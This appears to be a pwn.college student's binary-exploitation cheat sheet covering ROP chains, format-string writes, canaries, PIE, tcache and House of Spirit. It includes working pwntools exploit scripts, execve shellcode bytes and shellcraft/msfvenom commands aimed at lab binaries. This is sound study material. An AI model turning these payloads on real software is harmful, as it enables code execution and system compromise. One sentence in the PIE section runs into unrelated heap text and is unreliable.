Binary Exploitation - pwn.college

Registers

On x86, the only 2 reserved registers are rip and rsp which hold the address of the next instruction to execute and the address of the stack respectively.

On x86-64, the same register can have different sized accesses for backwards compatability. For example, the rax register is the full 64-bit register, eax is the low 32 bits of rax, ax is the low 16 bits, al is the low 8 bits, and ah is the high 8 bits of ax (bits 8-16 of rax).

Stack

image-20251012191723333

Quirks and Must Knows

  • fgets returns the address of the address read into

  • strlen counts until a null byte and strcpy copies until a null byte

  • instructions that require 16 byte alignment -> search for ret gadget

  • No /bin/sh string available? Put it in the .bss, use ROP to call gets(bss):

    64-bit

    payload = flat(
        # overflow...
        b"A" * offset,
        # binary has no /bin/sh string
        # call gets(bss) -> put /bin/sh in bss to call later
        pop_rdi, bss,
        gets,
        # Round 2: call execve("/bin/sh", 0, 0)
        pop_rax, 59,
        pop_rdi, bss,
        pop_rsi_pop_r15, 0, 0x13371337,
        pop_rdx, 0,
        syscall,
    )
    

    32-bit

    int80 = 0x804a3c2
    pop_eax = 0x80b073a
    pop_ecx = 0x8049e29
    pop_edx_ebx = 0x80583b9
    pop_ebx = 0x8049022
    gets = 0x8051b60
    
    payload = flat(
      b"A" * 28,
      gets,
      pop_eax, elf.bss(),
      pop_eax, 11,
      pop_ecx, 0,
      pop_edx_ebx, 0, elf.bss(),
      int80
    )
    
    p.sendline(payload)
    
    p.sendline(b"/bin/sh\x00")
    

Helpful Commands

  • See where the program crashed: dmesg | tail -n1
  • Dump assembly code of binary: objdump -M intel -d binary

Format Strings

Half-Half-Write example

Goal -> write 0x666c6167

# 0x61 -> 97 -> 0x404062
# 0x66 -> 102 -> 0x404060
# 0x67 -> 103 -> 0x404063
# 0x6c -> 108 -> 0x404061

payload = flat(
    b"%97x", # 97
    b"%22$hhn",
    b"|"*5, # 102
    b"%20$hhn",
    b"|", # 103
    b"%23$hhn",
    b"|" * 5, # 108
    b"%21$hhn",
    b"|||||", # final offset to align memory
    p64(0x404060), # 20
    p64(0x404061), # 21
    p64(0x404062), # 22
    p64(0x404063)  # 23
)

p.sendline(payload)

Stack Canaries

Stack canaries are random values placed in the stack before the return address to prevent buffer overflow attacks.

They can be leaked by overwriting the first byte which is a null byte \x00.

ROP chain

1 parameter ret2win

To find a gadget:

ropper --file binary --search "pop rdi"

Then just add the stack layout needed:

padding + gadget_addr + win_parameter + win_addr

Example script:

from pwn import *

p = process("./bin")

offset = 88

payload = b'A' * offset

# pop rdi gadget
payload += p64(0x4020a3)

# parameter for win
payload += p64(0x1337)

# win address
payload += p64(0x4018cf)


p.sendline(payload)
p.interactive()

Shellcode

shellcraft

shellcraft amd64.linux.cat /flag -f d

msfvenom

msfvenom -p linux/x86/read_file PATH=/flag FD=2 -b '\x00' -f python

21 byte execve('/bin/sh', NULL, NULL) shellcode x86_64

\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

PIE (Process Independent Execution)

ASLR (Address Space Layout Randomization)

On x86 (and most other modern architectures), memory is mapped into a process' memory space page by page. A memory page is a contiguous block of 0x1000 (4096) bytes starting at a page address aligned to 0x1000 for performance and memory management reasons. For example, the following are all examples of potential page addresses:

  • 0x5f7be1ec2000
  • 0x7ee1382c9000
  • 0x6513a3b67000

For an example, let's assume that our win() function is located 0x1337 bytes past the start of the binary (so, if the binary were not position independent, it would likely be located at 0x401337). This means that, for example, if our PIE binary were loaded at page address 0x6513a3b67000, it would have its win function at 0x6513a3b68337. If it were loaded at 0x5f7be1ec2000, its win function would be at 0x5f7be1ec3337, and so on.

Ways to leak PIE base

  • Format String vulnerability to leak values of the stack
  • Fill a buffer so it does not contain null bytes, so when it is printed, it leaks the next address on the stack arena has 10 fastbins, each responsible for holding free chunks with sizes that range from 0x20 through 0xb0.

tcache

Safe-Linking (pointer mangling)

The heap has a linked list called the tcache that stores recently freed memory chunks.

This is how it works:

  1. var1 = malloc(0x10); var2 = malloc(0x10);

    Right now, the tcache head points to NULL.

  2. free(var2);

    Now, the tcache looks like this:

    tcache_head -> var2_address -> NULL
    

    And the memory region of var2 has now the following value:

    (var2_address >> 12) ^ NULL
    

    This is the way glibc encrypts the addresses before storing them.

  3. free(var1);

    Same:

    tcache_head -> var1_address -> var2_address -> NULL
    

    And the memory region of var1 has now the following value:

    (var1_address >> 12) ^ var2_address
    

    This is the mangled pointer.

  4. So now, if we XOR the mangled pointer with the shifted address of var2, we get the decrypted var2 address.

unsortedbin

The HEAD of the doubly-linked list on the unortedbin is stored in libc.

Heap Attacks

memory pivoting with arbitraty read

memory pivoting

House of Spirit

  1. Forge something that looks like a chunk
  2. free() it
  3. the next malloc() will return that chunk

Example:

struct malloc_chunk {
    unsigned long prev_size;
    unsigned long size;
    struct malloc_chunk* fd;
    struct malloc_chunk* bk;
    struct malloc_chunk* fd_size;
    struct malloc_chunk* bk_size;
};

int main(int argc, char **argv) {
    printf("Warm up the heap: %p\n", malloc(16));
    unsigned long *a;
    struct malloc_chunk stack_chunk = { 0 };

    a = malloc(16);
    printf("Pre-poison malloc: %p\n", a);

    // our fake chunk on the stack
    stack_chunk.prev_size = 0;
    stack_chunk.size = 0x20;
    free(&stack_chunk.fd);

    a = malloc(16);
    printf("Post-poison malloc: %p\n", a);

    return 0;
}

Output:

Warm up the heap: 0x5e3d6af6e2a0
Pre-poison malloc: 0x5e3d6af6e6d0
Post-poison malloc: 0x7fffb79edc80